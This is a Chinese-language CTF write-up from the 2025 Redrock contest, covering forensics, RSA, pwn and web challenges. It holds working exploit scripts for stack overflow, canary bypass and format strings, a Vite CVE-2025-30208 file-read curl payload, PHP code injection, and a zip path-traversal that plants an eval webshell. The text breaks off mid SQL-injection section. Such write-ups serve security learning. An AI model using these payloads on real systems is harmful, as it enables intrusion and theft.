[红岩杯]::CTF::2025-WriteUP

6872 字
34 分钟
[红岩杯]::CTF::2025-WriteUP
Note

2025 红岩杯 WriteUP

1. Misk#

1.1 [签到]点击就送flag#

我点击了,所有我做出来了,耶~~~

1.2 [简单] 黑客call1ng#

考点:WireShark数据包分析

首先看到题目中提到了Webshell,考虑到PHP是21世纪最好的语言,我猜这个webshell也是用PHP写的。所以直接上过滤器http.request.uri contains ".php"来检索所有请求URL中含有.php的数据。

然后扫视一眼得到:

/install/index.php?step=11&insLockfile=test&install_demo_name=../Update_config_1.php&updateHost=http://43.139.95.95:8000/

这条记录有从远程服务器http://43.139.95.95:8000/拉取数据的行为,并且拉取的刚刚好是Update_config_1.php这个文件,可以怀疑它是一个后门程序。接下来换过滤器http.request.uri contains "Update_config_1.php"着重查看一下这个PHP文件的行为。

可以发现其中最特殊的一条(状态码500 Server Interal Error),找到它对应的请求:

这里因为抓到的数据里面有很多Base64,我懒得一个一个解码看了,所以让ai帮我看了一下

32399 405.111900 192.168.190.131 192.168.190.133 HTTP 861 POST /Update_config_1.php HTTP/1.1 (application/x-www-form-urlencoded)

依据ai对这条记录的解读可以发现:

  1. 其中Car1N0tCat字段的值是PHP代码,猜测webshell中有eval(_POST['Car1N0tCat']);的相关代码。(也可能不对哈,我不会PHP┭┮﹏┭┮)
  2. 其中wb0fc963091e61字段的值是一串Base64编码,解码后是cd /d "C:\\phpstudy_pro\\WWW\\images"&tcp_windows_amd64.exe&echo 8c1a3cfe9&cd&echo 2561e(这个直接实锤了,WebShell!!!)
  3. 这条请求的Source是192.168.190.131,Dest是192.168.190.133,说明192.168.190.131已经成为嗨阔的跳板机。

总结一下:

  1. 内网的跳板机为:192.168.190.131
  2. WebShell的名称为:Update_config_1.php
  3. WebShell的密码是:Car1N0tCat
  4. 嗨阔存WebShell的VPS是:43.139.95.95

1.3 [中等] 真假杀软#

考点:内存取证

工具volatility3: https://xz.aliyun.com/news/16662

这里提到运维的哦耶耶耶姐姐下错杀软了,哎,运维。现在瑞克五学长把内存的镜像用DumpIt保存到了mem.raw,现在我们通过这个内存镜像来获取假杀软的信息。

首先,我们来获取这个杀软的文件名(这个是最简单的)

我们可以用windows.filescan先看看Download文件夹下有哪些文件:

Terminal window
vol -f volatility/volatility_2.6_lin64_standalone/mem.raw windows.filescan | grep Downloads

得到:

Terminal window
0x85811398e190.0\Users\Rycarl\Downloads\huorong_signed_2\huorong_signed_2.exe

原来哦耶耶耶姐姐把木马下到瑞克五学长的电脑上了()

所以,我们得到了假杀软的名称:huorong_signed_2.exe

然后,我们看看这个假火绒是从哪里下载的(使用Windows的ADS)

使用windows.mftscan.ADS查看ADS信息:

Terminal window
vol -f volatility/volatility_2.6_lin64_standalone/mem.raw windows.mftscan.ADS

得到:

Terminal window
Offset Record Type Record Number MFT Type Filename ADS Filename Hexdump
0x4cc2c6c0 FILE 85505 DATA huorong_signed_2.zip Zone.Identifier
5b 5a 6f 6e 65 54 72 61 6e 73 66 65 72 5d 0d 0a [ZoneTransfer]..
5a 6f 6e 65 49 64 3d 33 0d 0a 52 65 66 65 72 72 ZoneId=3..Referr
65 72 55 72 6c 3d 68 74 74 70 73 3a 2f 2f 67 78 erUrl=https://gx
69 61 7a 69 68 72 2e 63 79 6f 75 2f 0d 0a 48 6f iazihr.cyou/..Ho
73 74 55 72 6c 3d 68 74 74 70 73 3a 2f 2f 70 75 stUrl=https://pu
62 2d 33 31 37 30 37 38 32 62 65 61 63 33 34 33 b-3170782beac343
32 62 39 65 30 63 38 37 31 38 32 32 32 61 63 34 2b9e0c8718222ac4
31 36 2e 72 32 2e 64 65 76 2f 68 75 6f 72 6f 6e 16.r2.dev/huoron
67 5f 73 69 67 6e 65 64 5f 32 2e 7a 69 70 0d 0a g_signed_2.zip..

所以,我们可以从里面得到:

  1. 这个假火绒的下载地址ReferrerUrl是:https://gxiazihr.cyou(顶级域名是cyou,记住这个)

  2. 下载跳转的OSS地址HostUrl是:https://pub-3170782beac3432b9e0c8718222ac416.r2.dev/huorong_signed_2.zip

然后,我们来找木马的回连地址

现在我们用windows.netscan看看电脑当时的网络连接

Terminal window
vol -f volatility/volatility_2.6_lin64_standalone/mem.raw windows.netscan | grep ESTABLISHED

一大堆,直接看ESTABLISHED的

得到:

Terminal window
0x85810639f9a0.0TCPv4 192.168.190.132n50389fin150.171.28.11 443 ESTABLISHED - - N/A
0x858106a09be0 TCPv4 192.168.190.132 50399 150.171.28.11 443 ESTABLISHED - - N/A
0x858107071490 TCPv4 192.168.190.132 50394 13.107.226.39 443 ESTABLISHED - - N/A
0x858107254490 TCPv4 192.168.190.132 50398 13.107.226.39 443 ESTABLISHED - - N/A
0x8581072d4490 TCPv4 192.168.190.132 50402 57.155.141.113 443 ESTABLISHED - - N/A
0x8581075618a0 TCPv4 192.168.190.132 49897 27.124.17.74 5000 ESTABLISHED - - N/A
0x85810819cbf0 TCPv4 192.168.190.132 50395 150.171.27.10 443 ESTABLISHED - - N/A
0x858108d888a0 TCPv4 192.168.190.132 50388 150.171.28.11 443 ESTABLISHED - - N/A
0x858113953010 TCPv4 192.168.190.132 50298 23.194.157.144 443 ESTABLISHED - - N/A

这条0x8581075618a0 TCPv4 192.168.190.132 49897 27.124.17.74 5000 ESTABLISHED - - N/A有猫饼啊,别人都是443,就你5000。

查一下解析记录:

IP域名时间
27.124.17.74xyk33.cyou2025-11-21-----2025-12-23

这里基本是可以猜测一下,木马的回连域名是xyk33.cyou(原因:木马的下载地址是gxiazihr.cyou,IP27.124.17.74近期的解析记录是xyk33.cyou,并且这个IP的回连端口是5000而别的都是443,所以可以先怀疑一下,不过提交flag时验证了我们的猜测是对的)

最后,我们来看一下伪装杀软网站的域名(直接查浏览器记录)

这里已经用filescan扫了一下桌面,发现下载的浏览器只有edge,所以直接看edge的浏览器记录

冷知识:edge的浏览记录存在\Users\Rycarl\AppData\Local\Microsoft\Edge\User Data\Default\History里,这里的History是一个sqlite文件,所以我们直接dump出来。

先用windows.filescan扫一下它的地址

Terminal window
vol -f volatility/volatility_2.6_lin64_standalone/mem.raw windows.filescan | grep History

得到:

Terminal window
0x8581068a6620.0\ProgramData\Microsoft\Windows Defender\Scans\History\CacheManager\AEB9F9E5-D8E8-44BC-AE54-2A1F6F080471-0.bin
0x858107d77550 \Windows\System32\winevt\Logs\Microsoft-Windows-FileHistory-Core%4WHC.evtx
0x85810b743690 \Users\Rycarl\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
0x85810b745da0 \Users\Rycarl\AppData\Local\Microsoft\Edge\User Data\Default\History
0x85810b749a90 \ProgramData\Microsoft\Windows Defender\Scans\History\Store\F5BC00EC6C0978F6B5686E316EB9E54F
0x8581198b8ac0 \ProgramData\Microsoft\Windows Defender\Scans\History\Results\Resource\{7E90C536-497B-468D-B09A-F0D72776A223}

然后用windows.dumpfile把这个文件拿出来:

Terminal window
vol -f ../volatility/volatility_2.6_lin64_standalone/mem.raw windows.dumpfile --virtaddr 0x85810b745da0

得到:

Terminal window
Cache FileObject FileName Result
DataSectionObject 0x85810b745da0 History file.0x85810b745da0.0x8581073a4130.DataSectionObject.History.dat

因为History里面有sql语句,我们直接拿string看一下含有huorong的记录:

Terminal window
strings -n 6 "file.0x85810b745da0.0x8581073a4130.DataSectionObject.History.dat" | grep huorong

得到:

Terminal window
https://www.huorongs.com/0
http://huorongs.com/
http://huorongs.com/
https://www.huorongs.com/
https://huorongs.com/
http://huorongs.com/
http://huorongs.com/
https://www.huorongs.com/ b
https://huorongs.com/
https://www.huorongs.com/https://www.huorongs.com/
https://www.huorongs.com/https://www.huorongs.com/

所以,我们得到了伪装杀软网站的域名:huorongs.com(原来是多了个s)

2. Cypto#

2.1 [简单] call1ng小秘密#

考点:BrainFuck + Base64 + 凯撒密码

首先,打开文件得到:

+++++ ++++[ ->+++ +++++ +<]>. <++++ +[->+ ++++< ]>+++ .<+++ ++++[ ->--- ----< ]>--- .<+++ ++++[ ->+++ ++++< ]>+++ +++++ +++.< +++++ [->-- ---<] >---. <++++ [->++ ++<]> +++++ .--.+ +++++ ++.<+ +++[- >---- <]>.< +++[- >---< ]>--- .<+++ ++[-> +++++ <]>++ +..<+ +++[- >---- <]>-- -.<++ ++++[ ->--- ---<] >---- ----- -.<++ ++++[ ->+++ +++<] >+++. <++++ ++[-> ----- -<]>- ---.< +++++ [->++ +++<] >++.< +++[- >+++< ]>++. <++++ [->++ ++<]> .<+++ +[->+ +++<] >.<++ +++[- >---- -<]>- ----- -.<++ ++++[ ->--- ---<] >-.<+ +++[- >++++ <]>++ +++++ .<+++ +++[- >++++ ++<]> ++++. <++++ [->-- --<]> ----- ---.< ++++[ ->+++ +<]>+ ++.<+ +++++ +[->- ----- -<]>- --.<+ +++++ [->++ ++++< ]>+++ +++++ +.<++ +++[- >---- -<]>. <++++ +[->+ ++++< ]>+++ +.--. <++++ [->-- --<]> ----- -.+++ +++.< +++++ +[->- ----- <]>-- .+++. <++++ ++++[ ->+++ +++++ <]>++ +++.< ++++[ ->--- -<]>- ----- --.<+ ++[-> ---<] >--.- ----. <++++ ++[-> +++++ +<]>+ +++.< ++++[ ->--- -<]>- ----. <+++[ ->--- <]>-- --.<+ +++[- >++++ <]>.< +++[- >+++< ]>+.< +++++ [->-- ---<] >.<++ ++[-> ++++< ]>+++ +.-.< +++++ ++[-> ----- --<]> --.<

这个是BrainFuck,去网上找个解密工具把换成明文:

Qm9uYnltdXtta3Z2MXhxX3JrZm9fMjhRX25zbWRzeXhrYml9

这个一眼可能难看出来,拿去Base64的解密网站试一下:

Bonbymu{mkvv1xq_rkfo_28Q_nsmdsyxkbi}

WOW,有东西,至此,已经可以看到一点Flag的结构了,试试凯撒密码:

Redrock{call1ng_have_28G_dictionary}

在偏移量等于10的时候得到了Flag

** 原来靠零姐姐有28G的大字典

2.2 [简单] call1ng的中秘密#

考点:RSA加密

首先,打开文件得到:

n = 10034458838192354450378996730371090139959078700304989320970470791827709774544051882909504284747432298412371995402769326066736060976548710999109630755854407549444549549735676445234518002317773499031649501473534060667165388944224036836209439279426386442400055821547280683413687958060329873738954349378987874163700505368918514568579218481284408157322593226120835440877748917765905930070492425758131612847519821028911314119892661965475651465106785480609441944785711632658843514760244120843987753943553073160041136621713048017335259479885274605968936731308517402206644004257673190155024729770535761903206196764797956566111
e = 3
c = 68807479857484550806391729758389898946524397942903876441962404719735555961923931034661024216721542983397545329074866058914183624766171319161545208892994234066410868707164031462060599514857031187502908132566888262717583311222196599554744857363781871367156348354921061

一眼看下去,有一个问题:

n太大了,而e太小了,c是密文。就可能出现一种问题c的明文的e次方小于n,从而 c的明文 ^ e % n 还可能对于 c的明文 ^ e 本身,使得私钥无效

所以,去网上找了个大数计算器对 c 开 e 次方,刚好开尽:

40977477190927552052172871147988699642746975682530564891234079625291392593811419023306621

之后再把这个10进制的大数转为16进制:

526564726F636B7B736D616C6C5F655F726573756C745F756E736166655F63727970746F7D

最后把16进制数转为Ascii码就可以拿到Flag:

Redrock{small_e_result_unsafe_crypto}

2.3 [简单] 公共密钥的揭示#

考点:RSA机密

首先,看看我们有什么:

leak = 13540197005808548845902702735228302994696830807899853068206422250846583733448650182954108972228505726534212241510860240159257900755349768731987949236031727091
c = 17405194878769636711554530344040439720869538513184746376304045485984506994708824523612003951121869844739857062451829939183649941345311339367098657051233834613079988477691524343367426775786269578239693839245978327652865130514195139909469827703498554031898270404859625383620481870707744905898798154346552830793
from Crypto.Util.number import bytes_to_long
from Crypto.PublicKey import RSA
def main():
with open("private.pem", "rb") as f:
priv_key = RSA.import_key(f.read())
n = priv_key.n
e = priv_key.e
p = priv_key.p
q = priv_key.q
leak = (p << 10) + q
flag = b"????"
m = bytes_to_long(flag)
c = pow(m, e, n)
with open("output.txt", "w") as f:
f.write(f"leak = {leak}\n")
f.write(f"c = {c}\n")
if __name__ == "__main__":
main()

OK,现在我们有一个leak,一个密文c,一个加密用的python脚本,一个公钥文件,从中可以得到生成leak的部分:leak = (p << 10) + q

  1. 因为public.pem里的n=p*q

  2. leak = p * 1024 + q

  3. 用两块钱解一次这个方程就可以得到p和q的值

有了p和q的值后我们就可以计算私钥进行解密了,EXP:

from Crypto.Util.number import long_to_bytes
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, PKCS1_v1_5
import math
def recover_flag(leak, c, e, n):
a = 1024
b = -leak
c_val = n
discriminant = b*b - 4*a*c_val
if discriminant >= 0:
sqrt_d = int(math.isqrt(discriminant))
if sqrt_d * sqrt_d == discriminant:
p1 = (-b + sqrt_d) // (2*a)
p2 = (-b - sqrt_d) // (2*a)
for p_candidate in [p1, p2]:
if p_candidate > 0 and n % p_candidate == 0:
p = p_candidate
q = n // p
print(f"[+] Found p: {p}")
print(f"[+] Found q: {q}")
break
# 计算私钥参数
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
print(f"\n[+] Private exponent d computed")
# 解密
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"\n[+] Decrypted message: {flag}")
return flag
def main():
try:
# 读取公钥
with open("public.pem", "rb") as f:
pub_key = RSA.import_key(f.read())
leak = 13540197005808548845902702735228302994696830807899853068206422250846583733448650182954108972228505726534212241510860240159257900755349768731987949236031727091
c = 17405194878769636711554530344040439720869538513184746376304045485984506994708824523612003951121869844739857062451829939183649941345311339367098657051233834613079988477691524343367426775786269578239693839245978327652865130514195139909469827703498554031898270404859625383620481870707744905898798154346552830793
flag = recover_flag(leak, c, pub_key.e, pub_key.n)
if flag:
print(f"\n[+] Success! Flag: {flag.decode()}")
else:
print("\n[-] Failed to recover flag")
except FileNotFoundError as e:
print(f"[-] Error: {e}")
print("Please make sure public.pem and output.txt are in the current directory")
except Exception as e:
print(f"[-] Unexpected error: {e}")
if __name__ == "__main__":
main()
Terminal window
[+] Found p: 13211992144092470390055432660847214887578060374151339977507740993842928782591166274408437949663079812120237093889902224145783362126587729021045507807963541
[+] Found q: 11117050257859166485939690520754949816896984768880931238495473151424660075295917959868511773511998923089457367600362633975737937723934214437349240677061107
[+] Private exponent d computed
[+] Decrypted message: b'REDROCK{V3ry_s1mp1e_R5A_isn7_it?}'
[+] Success! Flag: REDROCK{V3ry_s1mp1e_R5A_isn7_it?}

现在就得到flag了

3. PWN#

3.1 [入门] ida_gogogo#

很入门了,用IDA打开直接可以看到

if ( p_n114514 == 114514 )
{
puts(&s__2);
system("/bin/sh");
}

所以神秘数字就是:114514

输入神秘数字后就可以GetShell,然后cat flag就可以拿到flag

flag{236b41ed-dfa1-43ef-9a08-3db022a8af65}

3.2 [入门] 来签个到吧!#

这个真的是手把手教了🥰🥰🥰

flag{8b299b53-140b-4a1c-a414-a9fbbef5dcad}

3.3 [简单] 大偷yeye#

冷知识:我的世界里面同一个种子生成的地形是一模一样的,同一个时间决定的同一种子生成的随机数是一模一样的

因为服务器确定时间用的是Unix秒级时间戳,所以发包的同一秒也在本地生成一个随机数,这个随机数就会和服务端相同

所以写个EXP进行攻击:

import ctypes
import time
import pwn
def predict_number():
# 获取当前时间
current_time = int(time.time())
# 使用ctypes调用C标准库的srand和rand
libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
# 用当前时间设置随机种子
libc.srand(current_time)
# 生成随机数(与目标程序相同的算法)
random_num = (libc.rand() % 1000) + 1
return random_num
def exploit():
# 预测数字
predicted_num = predict_number()
print(f"Predicted number: {predicted_num}")
# 或者远程连接
p = pwn.remote('127.0.0.1', 41683)
# 发送预测的数字
p.sendline(str(predicted_num))
# 获取shell
p.interactive()
if __name__ == "__main__":
exploit()

攻击成功后就能getshell,然后cat flag就能拿到shell

3.4 [简单] 卷娘没钱了┭┮﹏┭┮#

这里的money变量是一个无符号整型,用no()函数使其自减为负数后再与flag_prise比较时,money会溢出成为一个很大的数,大于flag_prise

为什么money变量是无符号整型:在if ( flag_price < money )这里,前面unsigned int flag_price;定义了flag_price 是无符号整型,这里与flag_price比较时,money便会被转换成无符号整型,从而溢出成一个很大的数。

unsigned int flag_price; // [rsp+4h] [rbp-Ch]
if ( flag_price < money )
{
print_flag();
exit(0);
}
flag{51e653a5-8d1d-4013-a97b-7cf72f6bb566}

3.5 [简单]卷娘的找寻#

char user_buf[64]; // [rsp+0h] [rbp-90h] BYREF
char flag_buf[64]; // [rsp+40h] [rbp-50h] BYREF

这里可以看出,flag_buf在user_buf下方,处于高地址空间,可以直接访问,而两者的首地址相差0x40=64字节

思路:构造payload,直接越界读取flag_buf

值地址
栈顶指针rsp
user_bufrsp+0h
flag_bufrsp+40h

所以,我们可以先填充63个A字母,再加一个%s是不是可以读取flag,NONONO,%s不会从第64个A的地址拿数据,而是从第一个参数拿地址。

正确的做法是,使用%n$s这个占位符,去扫描这个栈,从而越界找到flag

EXP:

from pwn import *
context.log_level = 'debug'
def leak_flag():
# 尝试不同的偏移
for i in range(1, 50):
try:
p = remote('172.24.64.1', 52637)
# 使用位置参数 %n$s 直接读取
payload = f'%{i}$s'.encode()
p.sendline(payload)
resp = p.recvuntil(b'Done!')
# 检查是否包含{
if b'{' in resp:
print(f"Found at offset {i}:")
print(resp)
break
p.close()
except:
continue
leak_flag()

这样就可以找到挤在栈上的flag(flag边上还是会有写奇奇怪怪的字符,不用管他们)

flag{aca4b64f-0977-4550-bbac-8e36744f70bc}

3.6 [简单]卷娘的记忆#

要作这题首先要了解一下什么是EIP寄存器,EIP寄存器是用来存储下一步操作要跳转地址的寄存器,所以说只要劫持了这个寄存器的值,我们就可以操控程序下一步步进到哪里,如果我们把它的值改为backdoor函数的值,那么程序在往下一步就会直接执行backdoor函数,我们就可以getshell

char buf[64]; // [esp+Ch] [ebp-4Ch] BYREF
ssize_t v2; // [esp+4Ch] [ebp-Ch]
v2 = read(0, buf, 0x308u);

问题就在这里,buf只有64字节,read可以读3*16^2+8=776字节,超过64字节的部分就会覆盖到栈上,由此我们便可以操作EIP的值

所以我问了一下AI这个程序的内存分布:

内容大小地址
<- 低地址//
buf64ebp-0x4C
v24ebp-0xCh
offsite8ebp-0xCh到ebp有12字节,v2占4字节,中间要再加8字节
ebp4ebp
eip4ebp+4
<- 高地址//

OK,那偏移量就是:

64字节覆盖buf,4字节覆盖v2,8字节覆盖空白段,4字节覆盖ebp = 80字节

第一步,计算偏移量已经完成

第二部,查一下backdoor函数的地址

用IDA的Exports板块看了一下:backdoor 08049233

EXP:

from pwn import *
context.log_level = 'debug'
p = remote("172.27.0.1", 56543)
payload = b'A' * 76
payload += b'B' * 4
payload += p32(0x08049233)
p.send(payload) #payload共84字节
p.interactive()

执行后就能getshell,然后cat /flag就能获得flag

3.7 [简单]卷娘的金丝雀#

我们来看看canary是什么,问了一下ai:

Canary(也称作栈保护金丝雀)是一种栈溢出保护机制,用于检测和防止缓冲区溢出攻击。它通过在栈上的返回地址前放置一个随机值(称为”金丝雀”),在函数返回前检查该值是否被修改。

好,这个东东在保护卷娘,我们来看看它的工作原理:

内容备注
局部变量-
Canary值<-相当于校验码
rbp-
返回地址<-要收拾的对象

呃,这题,因为Canary的值给了,所以和上面那题基本没区别,构造payload时写进去就行

那还是一样,先分析一下内存

内容大小地址
<- 低地址//
buf64rbp-0x50
offsite8rbp-0x50到rbp有80字节,buf只有64字节,还差8字节到v1
v1 (Canary)8rbp-0x8
rbp8rbp
返回地址8rbp+0x8
<- 高地址//
Important

本来说这样填充payload就行了,但是会出问题,为了一下ai,说是栈对齐的问题,要在rbp后面再填充ret的地址!

那么现在就来获取一下ret的地址:

在kali中使用命令:ROPgadget --binary pwn | grep ret

得到ret的地址:0x000000000040101a

最后还是获取一下backdoor函数的地址:

用IDA的Exports板块看了一下:backdoor 0000000000401282

EXP:

from pwn import *
context.log_level = 'debug'
p = remote('172.27.0.1', 50858)
p.recvline() # 吃掉第一行
canary_line = p.recvline()
canary = int(canary_line.strip(), 16) # 解析十六进制
log.success(f"Leaked Canary: 0x{canary:016x}")
#构造payload
backdoor_addr = 0x401282
payload = b''
payload += b'A' * 72 # 填充到Canary
payload += p64(canary) # 填入正确的Canary值
payload += b'B' * 8 # 覆盖rbp
payload += p64(0x40101a) # ret的地址
payload += p64(backdoor_addr) # 劫持返回地址
p.send(payload)
p.interactive()

执行后就能getshell,然后cat /flag就能获得flag

4. Web#

这里是我的主场了,因为别的都好难/(ㄒoㄒ)/~~

4.1 [简单] ezLogic#

4.1.1 Level1 - UserID#

考点:admin用户在数据库中的主键ID的值

打开网站,我们看到一个输入框框,让我们输入用户名,先输入一个miku试试,告诉我miku是一个普普通通的用户,返回后告诉我了这个用户的ID。我们再看看查看用户信息跳转的URLhttp://127.0.0.1:28182/level1/2400488/info里面包含用户ID,所以说,随便的一个用户都是普普通通的用户,而且普普通通的用户的用户ID比较大,那不普通的用户ID应该比较小。

目前为止,我们已经有思路了,让我们来试试比较小的用户ID

尝试一下2400000和2400001这两个ID,分别用这两个ID用http://127.0.0.1:28182/level1/ID/info发送一条请求,结果ID为2400001时返回了:超级用户: ADMIN ;描述: 一个并不普通的用户,成功进入Level2

4.1.2 Level2 - shopTheShop#

考点:改发送的数据包

这题让我们用10块去买9900的东西,那么我们可以先看看它买商品的数据包是什么样的,于是,掏出Bp!!!!!!!!

于是用Bp劫持到了卖商品时发送的数据包

POST /level2/shopTheshop/buy HTTP/1.1
Host: 127.0.0.1:28182
Content-Length: 65
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:28182
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:28182/level2/shopTheshop
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"balance":10,"discount":0.99,"ITEM_PRICE":10000,"userid":"0001"}
字段备注
balance我们的钱
discount折扣
ITEM_PRICE商品的价格
userid用户ID

这里就有两种方案了:

  1. 把商品的价格改小
  2. 把折扣改小

把请求发到重放器,试了一下

把商品价格改为10块后服务器返回了报错:

{"error":"Invalid item price","expected_price":10000,"received_price":10,"success":false}

说明服务器对商品价格有校验

试试把折扣改成0.00099,结果成功了:

{"next":"/level2/shopTheDetail","success":true}

得到了Level3的路由

4.1.3 Level3-膨胀神券🎁#

考点:应该是幂等性

这里有个提示:系统有点卡,请多点几下领取试试看😏

基本是明示了,这个系统在大并发场景下数据的幂等性应该会出问题,这个时候不得不掏出我们的Gopher😍😍😍来应战了。

package main
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"sync"
)
func main() {
body, _ := json.Marshal(map[string]int{"type": 7}) // 优惠券类型
var wg sync.WaitGroup
wg.Add(100)
go func() { defer wg.Done(); post(body) }()
go func() { defer wg.Done(); post(body) }()
go func() { defer wg.Done(); post(body) }()
go func() { defer wg.Done(); post(body) }()
go func() { defer wg.Done(); post(body) }()
wg.Wait()
}
func post(body []byte) {
resp, err := http.Post("http://127.0.0.1:32320/level3/getSomeCoupon",
"application/json", bytes.NewReader(body))
if err != nil {
return
}
if resp.StatusCode == http.StatusOK {
fmt.Println("200 OK")
}
resp.Body.Close()
}

先抓数据包:

POST /level3/getSomeCoupon HTTP/1.1
Host: 127.0.0.1:28182
Content-Length: 10
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:28182
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:28182/level3/getSomeCoupon
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"type":5}

有数据包了,开goroutine批量发包

go run .\ddos.go
200 OK
200 OK
200 OK
200 OK
exit status 0xc000013a

现在我们就有4张7元,3张10元,膨胀一下, 成功买下了100的外卖。

OK,成功拿下Flag

flag{a7709f87-ad7a-4928-b8d0-7bdf6f0b3194}

4.2 [中等] vite#

考点:任意文件读取

先看看call1ng姐姐的提示:

  1. /flag

  2. vite版本为6.2.2

  3. vite都更新到7.3了,你这也太老了吧

提示里提到了vite的版本号,所以我们可以去网上搜索一下这个版本的vite有什么漏洞

结果是:CVE-2025-30208 任意文件读取漏洞

Payload:

Terminal window
curl "http://127.0.0.1:8696/@fs/flag?import&raw??"

使用Payload得到Flag

export default "Redrock{Y0U_4rE_A_GREa7_C71_PIayEr_732a93f0af3b}\n"
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZsYWc/aW1wb3J0JnJhdz8iXSwic291cmNlc0NvbnRlbnQiOlsiZXhwb3J0IGRlZmF1bHQgXCJSZWRyb2Nre1kwVV80ckVfQV9HUkVhN19DNzFfUElheUVyXzczMmE5M2YwYWYzYn1cXG5cIiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQSxNQUFNLENBQUMsT0FBTyxDQUFDLENBQUMsT0FBTyxDQUFDLHVDQUF1QyxDQUFDLENBQUMsQ0FBQyJ9

4.3 [简单] Doro的网站#

考点:PHP

看看提示:听说doro很讨厌复杂的密码

所以说我们试一下doro/doro看看,结果成功登录了网站

看看附件:

<?php
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header('Location: index.php');
exit();
}
if (isset($_GET['url'])) {
$url = addslashes($_GET['url']);
$file = file_get_contents('./config.php');
$file = preg_replace("/\\\$URL = '.*';/s", "\$URL = '{$url}';", $file);
file_put_contents('./config.php', $file);
header('Location: admin.php?success=1');
exit();
}
header('Location: admin.php');
exit();
?>

很明显的,$file = preg_replace("/\\\$URL = '.*';/s", "\$URL = '{$url}';", $file);我们可以在这行写config.php时注入恶意代码。

addslashes会在'前加反斜杠转义,这里要想办法。

Payload:

\';print_r($_ENV);//

这里转义填到URL里面就成了‘′′;printr(URL里面就成了`'\\';print_r(_ENV);//‘;前面的$URL就被赋值成了’\‘;后面的print_r($_ENV);`就成了一句可以被执行的php语句

这里也是可以执行命令的:ls / \';system($URL);//

使用Paylaod,查看所有环境变量,得到Flag

REDROCK{91072bb2-985a-4fb6-9269-fb1c39d76633}

4.4 [中等] Mvegetable的作业#

考点:压缩文件路径穿越

看看附件:

<?php
header("Content-Type: application/json; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
$file = $_FILES['file'];
if(!$file){
echo json_encode(array('display' => '怎么是空文件啊 Mvegetable明明写了作业😡', 'status' => 'fail'));
exit();
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
function check_dir($dir){
$handle = @opendir($dir);
if(!$handle){
return;
}
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
@unlink($dir.$f);
}
}
}
}
@closedir($handle);
}
if(!is_dir($dir)){
mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
include_once __DIR__ . '/unzip.php';
ob_start();
$ok = unzip($file['tmp_name'], $temp_dir);
ob_end_clean();
check_dir($dir);
echo json_encode(array('display' => '作业上传成功啦!😋', 'status' => $ok ? 'success' : 'fail'));
exit();
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
echo json_encode(array('display' => '作业上传成功啦!😋', 'status' => 'success'));
exit();
}
}else{
echo json_encode(array('display' => '老师说只要zip、jpg、gif、png类型的作业文件😱', 'status' => 'fail'));
exit();
}

我们可以构造一个包含特殊路径的文件,使用 “../”,这样解压时“../”这样应该文件夹下的文件的解压路劲就会变成“../file”,从而穿越到上层目录。

现在我们用应该Python脚本生成这样的压缩文件,并在里面写入一个简单的WebShell

WebShell:

eval($_POST['cmd']);

生成压缩文件的Python代码:

import zipfile
zipFile = zipfile.ZipFile("hhhh.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hhhh.zip")
zipFile.write("./shell.php", "../shell.php", zipfile.ZIP_DEFLATED)
zipFile.close()

上传hhhh.zip后shell.php会穿透到/upload,从而躲过文件后缀的递归检查,并且我们可以用中国蚁剑进行连接

![屏幕截图 2025-12-28 141540](C:\Users\13759\Downloads\屏幕截图 2025-12-28 141540.png)

在/flag中找到flag:

Redrock{Mv4Getab1e_1ikes_y0u_c85826ef3b38}

4.5 [中等] 老旧的黑客系统#

考点:SQl注入

  1. 数据库使用GBK编码存储用户名
  2. 为了兼容,李四启用了PDO的”模拟预编译”功能当 PDO::ATTR_EMULATE_PREPARES 设为 true 时,prepare() 实际上只是转义字符串,而非真正的预编译。结合GBK编码,就产生了宽字节注入。
  1. 原来的SQL语句为:SELECT * FROM users WHERE username = ? AND password = ?
  2. 由于使用了GBK编码,如果我们构造%bf'; [你的SQL语句]; -- 这样的payload,当遇到单引号时,PDO会自动插入一个反斜杠0x5c,而这个0x5c又与前面的bf组成bf5c,这个组合在GBK中是一个合法汉字,所以反斜杠被吃了,达到SQL注入的目的。

现在知道原理了,开始打!先拿Bp抓个登录的包下来

POST /login.php HTTP/1.1
Host: 127.0.0.1:29845
